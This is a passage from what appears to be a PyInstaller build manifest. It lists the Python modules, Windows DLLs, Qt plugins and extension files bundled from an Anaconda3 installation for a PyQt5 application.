38 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\no_clipboard.py',
39 | 'PYMODULE'),
40 | ('pyreadline.clipboard.win32_clipboard',
41 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\win32_clipboard.py',
42 | 'PYMODULE'),
43 | ('pyreadline.clipboard',
44 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\__init__.py',
45 | 'PYMODULE'),
46 | ('pyreadline.lineeditor',
47 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\__init__.py',
48 | 'PYMODULE'),
49 | ('pyreadline.error',
50 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\error.py',
51 | 'PYMODULE'),
52 | ('pyreadline.modes.basemode',
53 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\basemode.py',
54 | 'PYMODULE'),
55 | ('pyreadline.modes.emacs',
56 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\emacs.py',
57 | 'PYMODULE'),
58 | ('pyreadline.modes.notemacs',
59 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\notemacs.py',
60 | 'PYMODULE'),
61 | ('pyreadline.lineeditor.wordmatcher',
62 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\wordmatcher.py',
63 | 'PYMODULE'),
64 | ('pyreadline.lineeditor.lineobj',
65 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\lineobj.py',
66 | 'PYMODULE'),
67 | ('pyreadline.lineeditor.history',
68 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\history.py',
69 | 'PYMODULE'),
70 | ('pyreadline.modes.vi',
71 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\vi.py',
72 | 'PYMODULE'),
73 | ('pyreadline.modes',
74 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\__init__.py',
75 | 'PYMODULE'),
76 | ('pyreadline.release',
77 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\release.py',
78 | 'PYMODULE'),
79 | ('pyreadline',
80 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\__init__.py',
81 | 'PYMODULE'),
82 | ('pyreadline.console.ironpython_console',
83 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ironpython_console.py',
84 | 'PYMODULE'),
85 | ('pyreadline.py3k_compat',
86 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\py3k_compat.py',
87 | 'PYMODULE'),
88 | ('pyreadline.unicode_helper',
89 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\unicode_helper.py',
90 | 'PYMODULE'),
91 | ('queue', 'E:\\Anaconda3\\lib\\queue.py', 'PYMODULE'),
92 | ('hmac', 'E:\\Anaconda3\\lib\\hmac.py', 'PYMODULE'),
93 | ('smtplib', 'E:\\Anaconda3\\lib\\smtplib.py', 'PYMODULE'),
94 | ('win32con',
95 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32con.py',
96 | 'PYMODULE'),
97 | ('winerror',
98 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\winerror.py',
99 | 'PYMODULE'),
100 | ('win32evtlogutil',
101 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32evtlogutil.py',
102 | 'PYMODULE'),
103 | ('logging.handlers', 'E:\\Anaconda3\\lib\\logging\\handlers.py', 'PYMODULE'),
104 | ('pyreadline.logger',
105 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\logger.py',
106 | 'PYMODULE'),
107 | ('pyreadline.keysyms.winconstants',
108 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\winconstants.py',
109 | 'PYMODULE'),
110 | ('pyreadline.keysyms.ironpython_keysyms',
111 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\ironpython_keysyms.py',
112 | 'PYMODULE'),
113 | ('pyreadline.keysyms.common',
114 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\common.py',
115 | 'PYMODULE'),
116 | ('pyreadline.keysyms.keysyms',
117 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\keysyms.py',
118 | 'PYMODULE'),
119 | ('pyreadline.keysyms',
120 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\__init__.py',
121 | 'PYMODULE'),
122 | ('pyreadline.console.ansi',
123 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ansi.py',
124 | 'PYMODULE'),
125 | ('ctypes.macholib.framework',
126 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\framework.py',
127 | 'PYMODULE'),
128 | ('ctypes.macholib.dylib',
129 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dylib.py',
130 | 'PYMODULE'),
131 | ('ctypes.macholib',
132 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\__init__.py',
133 | 'PYMODULE'),
134 | ('ctypes.macholib.dyld',
135 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dyld.py',
136 | 'PYMODULE'),
137 | ('ctypes.util', 'E:\\Anaconda3\\lib\\ctypes\\util.py', 'PYMODULE'),
138 | ('ctypes._endian', 'E:\\Anaconda3\\lib\\ctypes\\_endian.py', 'PYMODULE'),
139 | ('ctypes', 'E:\\Anaconda3\\lib\\ctypes\\__init__.py', 'PYMODULE'),
140 | ('ctypes.wintypes', 'E:\\Anaconda3\\lib\\ctypes\\wintypes.py', 'PYMODULE'),
141 | ('pyreadline.console.event',
142 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\event.py',
143 | 'PYMODULE'),
144 | ('pyreadline.console.console',
145 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\console.py',
146 | 'PYMODULE'),
147 | ('pyreadline.console',
148 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\__init__.py',
149 | 'PYMODULE'),
150 | ('readline', 'E:\\Anaconda3\\lib\\site-packages\\readline.py', 'PYMODULE'),
151 | ('shlex', 'E:\\Anaconda3\\lib\\shlex.py', 'PYMODULE'),
152 | ('importlib._bootstrap',
153 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap.py',
154 | 'PYMODULE'),
155 | ('importlib._bootstrap_external',
156 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap_external.py',
157 | 'PYMODULE'),
158 | ('importlib.machinery',
159 | 'E:\\Anaconda3\\lib\\importlib\\machinery.py',
160 | 'PYMODULE'),
161 | ('importlib.util', 'E:\\Anaconda3\\lib\\importlib\\util.py', 'PYMODULE'),
162 | ('importlib.abc', 'E:\\Anaconda3\\lib\\importlib\\abc.py', 'PYMODULE'),
163 | ('importlib', 'E:\\Anaconda3\\lib\\importlib\\__init__.py', 'PYMODULE'),
164 | ('pkgutil', 'E:\\Anaconda3\\lib\\pkgutil.py', 'PYMODULE'),
165 | ('xml', 'E:\\Anaconda3\\lib\\xml\\__init__.py', 'PYMODULE'),
166 | ('xml.sax.expatreader',
167 | 'E:\\Anaconda3\\lib\\xml\\sax\\expatreader.py',
168 | 'PYMODULE'),
169 | ('xml.sax.saxutils', 'E:\\Anaconda3\\lib\\xml\\sax\\saxutils.py', 'PYMODULE'),
170 | ('urllib.request', 'E:\\Anaconda3\\lib\\urllib\\request.py', 'PYMODULE'),
171 | ('getpass', 'E:\\Anaconda3\\lib\\getpass.py', 'PYMODULE'),
172 | ('nturl2path', 'E:\\Anaconda3\\lib\\nturl2path.py', 'PYMODULE'),
173 | ('ftplib', 'E:\\Anaconda3\\lib\\ftplib.py', 'PYMODULE'),
174 | ('netrc', 'E:\\Anaconda3\\lib\\netrc.py', 'PYMODULE'),
175 | ('http.cookiejar', 'E:\\Anaconda3\\lib\\http\\cookiejar.py', 'PYMODULE'),
176 | ('urllib.response', 'E:\\Anaconda3\\lib\\urllib\\response.py', 'PYMODULE'),
177 | ('urllib.error', 'E:\\Anaconda3\\lib\\urllib\\error.py', 'PYMODULE'),
178 | ('xml.sax', 'E:\\Anaconda3\\lib\\xml\\sax\\__init__.py', 'PYMODULE'),
179 | ('xml.sax.handler', 'E:\\Anaconda3\\lib\\xml\\sax\\handler.py', 'PYMODULE'),
180 | ('xml.sax._exceptions',
181 | 'E:\\Anaconda3\\lib\\xml\\sax\\_exceptions.py',
182 | 'PYMODULE'),
183 | ('xml.sax.xmlreader',
184 | 'E:\\Anaconda3\\lib\\xml\\sax\\xmlreader.py',
185 | 'PYMODULE'),
186 | ('xml.parsers', 'E:\\Anaconda3\\lib\\xml\\parsers\\__init__.py', 'PYMODULE'),
187 | ('xml.parsers.expat',
188 | 'E:\\Anaconda3\\lib\\xml\\parsers\\expat.py',
189 | 'PYMODULE'),
190 | ('plistlib', 'E:\\Anaconda3\\lib\\plistlib.py', 'PYMODULE'),
191 | ('platform', 'E:\\Anaconda3\\lib\\platform.py', 'PYMODULE'),
192 | ('token', 'E:\\Anaconda3\\lib\\token.py', 'PYMODULE'),
193 | ('tokenize', 'E:\\Anaconda3\\lib\\tokenize.py', 'PYMODULE'),
194 | ('urllib.parse', 'E:\\Anaconda3\\lib\\urllib\\parse.py', 'PYMODULE'),
195 | ('tempfile', 'E:\\Anaconda3\\lib\\tempfile.py', 'PYMODULE'),
196 | ('subprocess', 'E:\\Anaconda3\\lib\\subprocess.py', 'PYMODULE'),
197 | ('tty', 'E:\\Anaconda3\\lib\\tty.py', 'PYMODULE'),
198 | ('pydoc_data', 'E:\\Anaconda3\\lib\\pydoc_data\\__init__.py', 'PYMODULE'),
199 | ('pydoc_data.topics',
200 | 'E:\\Anaconda3\\lib\\pydoc_data\\topics.py',
201 | 'PYMODULE'),
202 | ('textwrap', 'E:\\Anaconda3\\lib\\textwrap.py', 'PYMODULE'),
203 | ('html.entities', 'E:\\Anaconda3\\lib\\html\\entities.py', 'PYMODULE'),
204 | ('html', 'E:\\Anaconda3\\lib\\html\\__init__.py', 'PYMODULE'),
205 | ('ipaddress', 'E:\\Anaconda3\\lib\\ipaddress.py', 'PYMODULE'),
206 | ('ssl', 'E:\\Anaconda3\\lib\\ssl.py', 'PYMODULE'),
207 | ('http.client', 'E:\\Anaconda3\\lib\\http\\client.py', 'PYMODULE'),
208 | ('mimetypes', 'E:\\Anaconda3\\lib\\mimetypes.py', 'PYMODULE'),
209 | ('socketserver', 'E:\\Anaconda3\\lib\\socketserver.py', 'PYMODULE'),
210 | ('http', 'E:\\Anaconda3\\lib\\http\\__init__.py', 'PYMODULE'),
211 | ('http.server', 'E:\\Anaconda3\\lib\\http\\server.py', 'PYMODULE'),
212 | ('optparse', 'E:\\Anaconda3\\lib\\optparse.py', 'PYMODULE'),
213 | ('uu', 'E:\\Anaconda3\\lib\\uu.py', 'PYMODULE'),
214 | ('quopri', 'E:\\Anaconda3\\lib\\quopri.py', 'PYMODULE'),
215 | ('email.feedparser', 'E:\\Anaconda3\\lib\\email\\feedparser.py', 'PYMODULE'),
216 | ('email.parser', 'E:\\Anaconda3\\lib\\email\\parser.py', 'PYMODULE'),
217 | ('email', 'E:\\Anaconda3\\lib\\email\\__init__.py', 'PYMODULE'),
218 | ('calendar', 'E:\\Anaconda3\\lib\\calendar.py', 'PYMODULE'),
219 | ('email._parseaddr', 'E:\\Anaconda3\\lib\\email\\_parseaddr.py', 'PYMODULE'),
220 | ('email.utils', 'E:\\Anaconda3\\lib\\email\\utils.py', 'PYMODULE'),
221 | ('email.errors', 'E:\\Anaconda3\\lib\\email\\errors.py', 'PYMODULE'),
222 | ('email.header', 'E:\\Anaconda3\\lib\\email\\header.py', 'PYMODULE'),
223 | ('email._policybase',
224 | 'E:\\Anaconda3\\lib\\email\\_policybase.py',
225 | 'PYMODULE'),
226 | ('email.base64mime', 'E:\\Anaconda3\\lib\\email\\base64mime.py', 'PYMODULE'),
227 | ('email.encoders', 'E:\\Anaconda3\\lib\\email\\encoders.py', 'PYMODULE'),
228 | ('email.charset', 'E:\\Anaconda3\\lib\\email\\charset.py', 'PYMODULE'),
229 | ('base64', 'E:\\Anaconda3\\lib\\base64.py', 'PYMODULE'),
230 | ('email._encoded_words',
231 | 'E:\\Anaconda3\\lib\\email\\_encoded_words.py',
232 | 'PYMODULE'),
233 | ('hashlib', 'E:\\Anaconda3\\lib\\hashlib.py', 'PYMODULE'),
234 | ('bisect', 'E:\\Anaconda3\\lib\\bisect.py', 'PYMODULE'),
235 | ('random', 'E:\\Anaconda3\\lib\\random.py', 'PYMODULE'),
236 | ('email.generator', 'E:\\Anaconda3\\lib\\email\\generator.py', 'PYMODULE'),
237 | ('email.iterators', 'E:\\Anaconda3\\lib\\email\\iterators.py', 'PYMODULE'),
238 | ('urllib', 'E:\\Anaconda3\\lib\\urllib\\__init__.py', 'PYMODULE'),
239 | ('email._header_value_parser',
240 | 'E:\\Anaconda3\\lib\\email\\_header_value_parser.py',
241 | 'PYMODULE'),
242 | ('email.headerregistry',
243 | 'E:\\Anaconda3\\lib\\email\\headerregistry.py',
244 | 'PYMODULE'),
245 | ('email.quoprimime', 'E:\\Anaconda3\\lib\\email\\quoprimime.py', 'PYMODULE'),
246 | ('email.contentmanager',
247 | 'E:\\Anaconda3\\lib\\email\\contentmanager.py',
248 | 'PYMODULE'),
249 | ('email.policy', 'E:\\Anaconda3\\lib\\email\\policy.py', 'PYMODULE'),
250 | ('email.message', 'E:\\Anaconda3\\lib\\email\\message.py', 'PYMODULE'),
251 | ('bz2', 'E:\\Anaconda3\\lib\\bz2.py', 'PYMODULE'),
252 | ('lzma', 'E:\\Anaconda3\\lib\\lzma.py', 'PYMODULE'),
253 | ('_compression', 'E:\\Anaconda3\\lib\\_compression.py', 'PYMODULE'),
254 | ('gzip', 'E:\\Anaconda3\\lib\\gzip.py', 'PYMODULE'),
255 | ('tarfile', 'E:\\Anaconda3\\lib\\tarfile.py', 'PYMODULE'),
256 | ('_dummy_thread', 'E:\\Anaconda3\\lib\\_dummy_thread.py', 'PYMODULE'),
257 | ('dummy_threading', 'E:\\Anaconda3\\lib\\dummy_threading.py', 'PYMODULE'),
258 | ('py_compile', 'E:\\Anaconda3\\lib\\py_compile.py', 'PYMODULE'),
259 | ('zipfile', 'E:\\Anaconda3\\lib\\zipfile.py', 'PYMODULE'),
260 | ('shutil', 'E:\\Anaconda3\\lib\\shutil.py', 'PYMODULE'),
261 | ('selectors', 'E:\\Anaconda3\\lib\\selectors.py', 'PYMODULE'),
262 | ('webbrowser', 'E:\\Anaconda3\\lib\\webbrowser.py', 'PYMODULE'),
263 | ('pydoc', 'E:\\Anaconda3\\lib\\pydoc.py', 'PYMODULE'),
264 | ('copy', 'E:\\Anaconda3\\lib\\copy.py', 'PYMODULE'),
265 | ('gettext', 'E:\\Anaconda3\\lib\\gettext.py', 'PYMODULE'),
266 | ('getopt', 'E:\\Anaconda3\\lib\\getopt.py', 'PYMODULE'),
267 | ('pdb', 'E:\\Anaconda3\\lib\\pdb.py', 'PYMODULE'),
268 | ('unittest.util', 'E:\\Anaconda3\\lib\\unittest\\util.py', 'PYMODULE'),
269 | ('unittest.result', 'E:\\Anaconda3\\lib\\unittest\\result.py', 'PYMODULE'),
270 | ('string', 'E:\\Anaconda3\\lib\\string.py', 'PYMODULE'),
271 | ('_threading_local', 'E:\\Anaconda3\\lib\\_threading_local.py', 'PYMODULE'),
272 | ('threading', 'E:\\Anaconda3\\lib\\threading.py', 'PYMODULE'),
273 | ('logging', 'E:\\Anaconda3\\lib\\logging\\__init__.py', 'PYMODULE'),
274 | ('contextlib', 'E:\\Anaconda3\\lib\\contextlib.py', 'PYMODULE'),
275 | ('unittest.case', 'E:\\Anaconda3\\lib\\unittest\\case.py', 'PYMODULE'),
276 | ('unittest.suite', 'E:\\Anaconda3\\lib\\unittest\\suite.py', 'PYMODULE'),
277 | ('unittest.loader', 'E:\\Anaconda3\\lib\\unittest\\loader.py', 'PYMODULE'),
278 | ('stat', 'E:\\Anaconda3\\lib\\stat.py', 'PYMODULE'),
279 | ('genericpath', 'E:\\Anaconda3\\lib\\genericpath.py', 'PYMODULE'),
280 | ('posixpath', 'E:\\Anaconda3\\lib\\posixpath.py', 'PYMODULE'),
281 | ('fnmatch', 'E:\\Anaconda3\\lib\\fnmatch.py', 'PYMODULE'),
282 | ('struct', 'E:\\Anaconda3\\lib\\struct.py', 'PYMODULE'),
283 | ('_compat_pickle', 'E:\\Anaconda3\\lib\\_compat_pickle.py', 'PYMODULE'),
284 | ('pprint', 'E:\\Anaconda3\\lib\\pprint.py', 'PYMODULE'),
285 | ('pickle', 'E:\\Anaconda3\\lib\\pickle.py', 'PYMODULE'),
286 | ('tracemalloc', 'E:\\Anaconda3\\lib\\tracemalloc.py', 'PYMODULE'),
287 | ('warnings', 'E:\\Anaconda3\\lib\\warnings.py', 'PYMODULE'),
288 | ('unittest.runner', 'E:\\Anaconda3\\lib\\unittest\\runner.py', 'PYMODULE'),
289 | ('unittest.main', 'E:\\Anaconda3\\lib\\unittest\\main.py', 'PYMODULE'),
290 | ('enum', 'E:\\Anaconda3\\lib\\enum.py', 'PYMODULE'),
291 | ('signal', 'E:\\Anaconda3\\lib\\signal.py', 'PYMODULE'),
292 | ('unittest.signals', 'E:\\Anaconda3\\lib\\unittest\\signals.py', 'PYMODULE'),
293 | ('unittest', 'E:\\Anaconda3\\lib\\unittest\\__init__.py', 'PYMODULE'),
294 | ('doctest', 'E:\\Anaconda3\\lib\\doctest.py', 'PYMODULE'),
295 | ('socket', 'E:\\Anaconda3\\lib\\socket.py', 'PYMODULE'),
296 | ('os', 'E:\\Anaconda3\\lib\\os.py', 'PYMODULE'),
297 | ('PyQt5',
298 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\__init__.py',
299 | 'PYMODULE')],
300 | [('api-ms-win-crt-runtime-l1-1-0.dll',
301 | 'E:\\Anaconda3\\api-ms-win-crt-runtime-l1-1-0.dll',
302 | 'BINARY'),
303 | ('VCRUNTIME140.dll', 'E:\\Anaconda3\\VCRUNTIME140.dll', 'BINARY'),
304 | ('api-ms-win-crt-locale-l1-1-0.dll',
305 | 'E:\\Anaconda3\\api-ms-win-crt-locale-l1-1-0.dll',
306 | 'BINARY'),
307 | ('api-ms-win-crt-heap-l1-1-0.dll',
308 | 'E:\\Anaconda3\\api-ms-win-crt-heap-l1-1-0.dll',
309 | 'BINARY'),
310 | ('python36.dll', 'E:\\Anaconda3\\python36.dll', 'BINARY'),
311 | ('api-ms-win-crt-stdio-l1-1-0.dll',
312 | 'E:\\Anaconda3\\api-ms-win-crt-stdio-l1-1-0.dll',
313 | 'BINARY'),
314 | ('api-ms-win-crt-math-l1-1-0.dll',
315 | 'E:\\Anaconda3\\api-ms-win-crt-math-l1-1-0.dll',
316 | 'BINARY'),
317 | ('ucrtbase.dll', 'E:\\Anaconda3\\ucrtbase.dll', 'BINARY'),
318 | ('api-ms-win-crt-string-l1-1-0.dll',
319 | 'E:\\Anaconda3\\api-ms-win-crt-string-l1-1-0.dll',
320 | 'BINARY'),
321 | ('api-ms-win-crt-convert-l1-1-0.dll',
322 | 'E:\\Anaconda3\\api-ms-win-crt-convert-l1-1-0.dll',
323 | 'BINARY'),
324 | ('api-ms-win-crt-time-l1-1-0.dll',
325 | 'E:\\Anaconda3\\api-ms-win-crt-time-l1-1-0.dll',
326 | 'BINARY'),
327 | ('api-ms-win-crt-environment-l1-1-0.dll',
328 | 'E:\\Anaconda3\\api-ms-win-crt-environment-l1-1-0.dll',
329 | 'BINARY'),
330 | ('api-ms-win-crt-process-l1-1-0.dll',
331 | 'E:\\Anaconda3\\api-ms-win-crt-process-l1-1-0.dll',
332 | 'BINARY'),
333 | ('api-ms-win-crt-filesystem-l1-1-0.dll',
334 | 'E:\\Anaconda3\\api-ms-win-crt-filesystem-l1-1-0.dll',
335 | 'BINARY'),
336 | ('api-ms-win-crt-conio-l1-1-0.dll',
337 | 'E:\\Anaconda3\\api-ms-win-crt-conio-l1-1-0.dll',
338 | 'BINARY'),
339 | ('api-ms-win-core-file-l2-1-0.dll',
340 | 'E:\\Anaconda3\\api-ms-win-core-file-l2-1-0.dll',
341 | 'BINARY'),
342 | ('api-ms-win-core-debug-l1-1-0.dll',
343 | 'E:\\Anaconda3\\api-ms-win-core-debug-l1-1-0.dll',
344 | 'BINARY'),
345 | ('api-ms-win-core-processthreads-l1-1-0.dll',
346 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-0.dll',
347 | 'BINARY'),
348 | ('api-ms-win-core-datetime-l1-1-0.dll',
349 | 'E:\\Anaconda3\\api-ms-win-core-datetime-l1-1-0.dll',
350 | 'BINARY'),
351 | ('api-ms-win-core-timezone-l1-1-0.dll',
352 | 'E:\\Anaconda3\\api-ms-win-core-timezone-l1-1-0.dll',
353 | 'BINARY'),
354 | ('api-ms-win-core-namedpipe-l1-1-0.dll',
355 | 'E:\\Anaconda3\\api-ms-win-core-namedpipe-l1-1-0.dll',
356 | 'BINARY'),
357 | ('api-ms-win-core-console-l1-1-0.dll',
358 | 'E:\\Anaconda3\\api-ms-win-core-console-l1-1-0.dll',
359 | 'BINARY'),
360 | ('api-ms-win-core-rtlsupport-l1-1-0.dll',
361 | 'E:\\Anaconda3\\api-ms-win-core-rtlsupport-l1-1-0.dll',
362 | 'BINARY'),
363 | ('api-ms-win-core-sysinfo-l1-1-0.dll',
364 | 'E:\\Anaconda3\\api-ms-win-core-sysinfo-l1-1-0.dll',
365 | 'BINARY'),
366 | ('api-ms-win-core-string-l1-1-0.dll',
367 | 'E:\\Anaconda3\\api-ms-win-core-string-l1-1-0.dll',
368 | 'BINARY'),
369 | ('api-ms-win-core-memory-l1-1-0.dll',
370 | 'E:\\Anaconda3\\api-ms-win-core-memory-l1-1-0.dll',
371 | 'BINARY'),
372 | ('api-ms-win-core-file-l1-1-0.dll',
373 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-1-0.dll',
374 | 'BINARY'),
375 | ('api-ms-win-core-synch-l1-1-0.dll',
376 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-1-0.dll',
377 | 'BINARY'),
378 | ('api-ms-win-core-file-l1-2-0.dll',
379 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-2-0.dll',
380 | 'BINARY'),
381 | ('api-ms-win-core-processenvironment-l1-1-0.dll',
382 | 'E:\\Anaconda3\\api-ms-win-core-processenvironment-l1-1-0.dll',
383 | 'BINARY'),
384 | ('api-ms-win-core-heap-l1-1-0.dll',
385 | 'E:\\Anaconda3\\api-ms-win-core-heap-l1-1-0.dll',
386 | 'BINARY'),
387 | ('api-ms-win-core-interlocked-l1-1-0.dll',
388 | 'E:\\Anaconda3\\api-ms-win-core-interlocked-l1-1-0.dll',
389 | 'BINARY'),
390 | ('api-ms-win-core-libraryloader-l1-1-0.dll',
391 | 'E:\\Anaconda3\\api-ms-win-core-libraryloader-l1-1-0.dll',
392 | 'BINARY'),
393 | ('api-ms-win-core-util-l1-1-0.dll',
394 | 'E:\\Anaconda3\\api-ms-win-core-util-l1-1-0.dll',
395 | 'BINARY'),
396 | ('api-ms-win-core-synch-l1-2-0.dll',
397 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-2-0.dll',
398 | 'BINARY'),
399 | ('api-ms-win-core-localization-l1-2-0.dll',
400 | 'E:\\Anaconda3\\api-ms-win-core-localization-l1-2-0.dll',
401 | 'BINARY'),
402 | ('api-ms-win-core-profile-l1-1-0.dll',
403 | 'E:\\Anaconda3\\api-ms-win-core-profile-l1-1-0.dll',
404 | 'BINARY'),
405 | ('api-ms-win-core-errorhandling-l1-1-0.dll',
406 | 'E:\\Anaconda3\\api-ms-win-core-errorhandling-l1-1-0.dll',
407 | 'BINARY'),
408 | ('api-ms-win-core-handle-l1-1-0.dll',
409 | 'E:\\Anaconda3\\api-ms-win-core-handle-l1-1-0.dll',
410 | 'BINARY'),
411 | ('api-ms-win-core-processthreads-l1-1-1.dll',
412 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-1.dll',
413 | 'BINARY'),
414 | ('PyQt5\\Qt\\plugins\\platforms\\qoffscreen.dll',
415 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qoffscreen.dll',
416 | 'BINARY'),
417 | ('PyQt5\\Qt\\plugins\\iconengines\\qsvgicon.dll',
418 | 'E:\\Anaconda3\\Library\\plugins\\iconengines\\qsvgicon.dll',
419 | 'BINARY'),
420 | ('PyQt5\\Qt\\plugins\\imageformats\\qtga.dll',
421 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtga.dll',
422 | 'BINARY'),
423 | ('PyQt5\\Qt\\plugins\\platforms\\qwindows.dll',
424 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qwindows.dll',
425 | 'BINARY'),
426 | ('PyQt5\\Qt\\plugins\\imageformats\\qsvg.dll',
427 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qsvg.dll',
428 | 'BINARY'),
429 | ('PyQt5\\Qt\\plugins\\imageformats\\qdds.dll',
430 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qdds.dll',
431 | 'BINARY'),
432 | ('PyQt5\\Qt\\plugins\\imageformats\\qjpeg.dll',
433 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qjpeg.dll',
434 | 'BINARY'),
435 | ('PyQt5\\Qt\\plugins\\imageformats\\qwbmp.dll',
436 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwbmp.dll',
437 | 'BINARY'),
438 | ('PyQt5\\Qt\\plugins\\printsupport\\windowsprintersupport.dll',
439 | 'E:\\Anaconda3\\Library\\plugins\\printsupport\\windowsprintersupport.dll',
440 | 'BINARY'),
441 | ('PyQt5\\Qt\\plugins\\imageformats\\qtiff.dll',
442 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtiff.dll',
443 | 'BINARY'),
444 | ('PyQt5\\Qt\\plugins\\imageformats\\qicns.dll',
445 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qicns.dll',
446 | 'BINARY'),
447 | ('PyQt5\\Qt\\plugins\\imageformats\\qwebp.dll',
448 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwebp.dll',
449 | 'BINARY'),
450 | ('PyQt5\\Qt\\plugins\\platforms\\qminimal.dll',
451 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qminimal.dll',
452 | 'BINARY'),
453 | ('PyQt5\\Qt\\plugins\\imageformats\\qico.dll',
454 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qico.dll',
455 | 'BINARY'),
456 | ('PyQt5\\Qt\\plugins\\imageformats\\qgif.dll',
457 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qgif.dll',
458 | 'BINARY'),
459 | ('_ssl', 'E:\\Anaconda3\\DLLs\\_ssl.pyd', 'EXTENSION'),
460 | ('unicodedata', 'E:\\Anaconda3\\DLLs\\unicodedata.pyd', 'EXTENSION'),
461 | ('win32api',
462 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32api.pyd',
463 | 'EXTENSION'),
464 | ('win32evtlog',
465 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32evtlog.pyd',
466 | 'EXTENSION'),
467 | ('_ctypes', 'E:\\Anaconda3\\DLLs\\_ctypes.pyd', 'EXTENSION'),
468 | ('pyexpat', 'E:\\Anaconda3\\DLLs\\pyexpat.pyd', 'EXTENSION'),
469 | ('_hashlib', 'E:\\Anaconda3\\DLLs\\_hashlib.pyd', 'EXTENSION'),
470 | ('select', 'E:\\Anaconda3\\DLLs\\select.pyd', 'EXTENSION'),
471 | ('_bz2', 'E:\\Anaconda3\\DLLs\\_bz2.pyd', 'EXTENSION'),
472 | ('_lzma', 'E:\\Anaconda3\\DLLs\\_lzma.pyd', 'EXTENSION'),
473 | ('_socket', 'E:\\Anaconda3\\DLLs\\_socket.pyd', 'EXTENSION'),
474 | ('PyQt5.QtWidgets',
475 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtWidgets.pyd',
476 | 'EXTENSION'),
477 | ('sip', 'E:\\Anaconda3\\lib\\site-packages\\sip.pyd', 'EXTENSION'),
478 | ('PyQt5.QtGui',
479 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtGui.pyd',
480 | 'EXTENSION'),
481 | ('PyQt5.QtCore',
482 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtCore.pyd',
483 | 'EXTENSION'),
484 | ('PyQt5.Qt', 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\Qt.pyd', 'EXTENSION'),
485 | ('PyQt5.QtPrintSupport',
486 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtPrintSupport.pyd',
487 | 'EXTENSION'),
488 | ('Qt5Gui.dll', 'E:\\Anaconda3\\Library\\bin\\qt5gui.dll', 'BINARY'),
489 | ('Qt5Core.dll', 'E:\\Anaconda3\\Library\\bin\\qt5core.dll', 'BINARY'),
490 | ('zlib.dll', 'E:\\Anaconda3\\Library\\bin\\zlib.dll', 'BINARY'),
491 | ('libpng16.dll', 'E:\\Anaconda3\\Library\\bin\\libpng16.dll', 'BINARY'),
492 | ('api-ms-win-crt-utility-l1-1-0.dll',
493 | 'E:\\Anaconda3\\api-ms-win-crt-utility-l1-1-0.dll',
494 | 'BINARY'),
495 | ('Qt5Svg.dll', 'E:\\Anaconda3\\Library\\bin\\qt5svg.dll', 'BINARY'),
496 | ('libjpeg.dll', 'E:\\Anaconda3\\Library\\bin\\libjpeg.dll', 'BINARY'),
497 | ('Qt5PrintSupport.dll',
